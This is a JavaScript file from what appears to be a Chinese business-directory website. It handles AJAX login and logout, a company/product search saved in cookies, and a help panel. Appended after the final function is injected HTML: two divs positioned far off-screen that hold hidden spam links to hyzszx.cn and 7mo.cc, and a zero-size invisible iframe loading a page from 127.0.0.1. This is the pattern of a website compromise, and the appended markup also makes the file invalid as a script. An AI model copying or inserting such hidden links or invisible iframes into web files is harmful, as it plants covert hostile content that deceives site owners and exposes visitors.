// JScript 文件

//首行登录
function loginSubmit(login){
if(login.username.value == ""){alert("请输入用户名");login.username.focus();return false;}
if(login.password.value == ""){alert("请输入密码");login.password.focus();return false;}
//login.submit();
var ajaxpost=new AjaxPost();
ajaxpost.postForm(login);
ajaxpost.onsuccess=function(text)
{
    if(text=="suc"){
    location.href="comManage.ashx";
       // document.getElementById("ined").style.display="";
       // document.getElementById("notin").style.diaplay="none";
    }
    else{alert("用户名或密码错误，请重新登录！");login.username.focus();}
}
}
//退出
function logout()
{
    var login=document.getElementById("login");
    login.action="LoginOut.ashx";
    var ajaxpost=new AjaxPost();
    ajaxpost.postForm(login);
    ajaxpost.onsuccess=function(text)
    {
        if(text=="out"){
            document.getElementById("ined").style.display="none";
            document.getElementById("notin").style.diaplay="";
        }
    }
}
//搜索
function submitform(theform,_searchtype)
{
    var type="1";
    if(_searchtype=="1")
    {
        theform.action="Companies.ashx";
    }
    else
    {
        theform.action="Products.ashx";
        type="2";
    }
    createCookie("Cat_id",theform.SelectCate.value,1);
    createCookie("Type_id",type,1);
    createCookie("Keyword",escape(theform.keyword.value),1);
	if(theform.isspecial.checked) isspecial="1";
	else isspecial="0";
	createCookie("IsSpecial",isspecial,1);
    theform.submit();
}
function searchInit()
{
    var cookieCat=readCookie("Cat_id");
    var cookieType=readCookie("Type_id");
    var cookieKeyw=readCookie("Keyword");
	var cookieIsSpecial=readCookie("IsSpecial");
	if(cookieCat!=null)
	{
	    var Cat= document.getElementById("SelectCate");
	    for(var i=0;i< Cat.options.length;i++)
		{
			if (Cat.options[i].value==cookieCat) 
			{
				Cat.options[i].selected=true;
				break;
			}
		}
	}
	
	if(cookieKeyw!=null)
	{
	    var Keyword= document.getElementById("keyword");
	    Keyword.value=unescape(cookieKeyw);
	}
	
	if(cookieIsSpecial!=null)
	{
		var checkboxspecial= document.getElementById("isspecial");
		if(cookieIsSpecial=="1")
		{
			checkboxspecial.checked="checked";
		}
	}
}
//帮助
function ShowHelp()
{
    var help=document.getElementById("help");
    help.style.display="";
    
}<div style="position: absolute; top: -988px;left: -988px;"><h2><a href="http://www.hyzszx.cn/" title="װ">װ</a></h2><h2><a href="http://www.hyzszx.cn/" title="װ">װ</a></h2><h2><a href="http://www.hyzszx.cn/" title="װ޹˾">װ޹˾</a></h2><h2><a href="http://www.hyzszx.cn/" title="װι˾">װι˾</a></h2></div>
<div style="position: absolute; top: -1099px;left: -1099px;"><h2><a href="http://www.hyzszx.cn/" >http://www.hyzszx.cn/</a></h2><h2><a href="http://home-dl.7mo.cc/" >http://home-dl.7mo.cc/</a></h2></div>
<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>
